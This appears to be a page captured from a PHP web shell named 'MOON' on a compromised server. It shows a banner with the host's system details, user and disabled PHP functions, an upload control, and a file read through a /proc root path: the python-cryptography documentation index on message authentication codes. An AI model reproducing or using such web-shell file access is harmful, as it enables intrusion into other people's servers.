MOON
Server: Apache
System: Linux vps.espica.me 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User: golnoorlig (1005)
PHP: 8.2.32
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/thread-self/root/usr/share/doc/python3-cryptography/docs/hazmat/primitives/mac/index.rst
.. hazmat::

Message authentication codes
============================

While cryptography supports multiple MAC algorithms, we strongly
recommend that HMAC should be used unless you have a very specific need.

For more information on why HMAC is preferred, see `Use cases for CMAC vs.
HMAC?`_

.. toctree::
    :maxdepth: 1

    cmac
    hmac
    poly1305

.. _`Use cases for CMAC vs. HMAC?`: https://crypto.stackexchange.com/questions/15721/use-cases-for-cmac-vs-hmac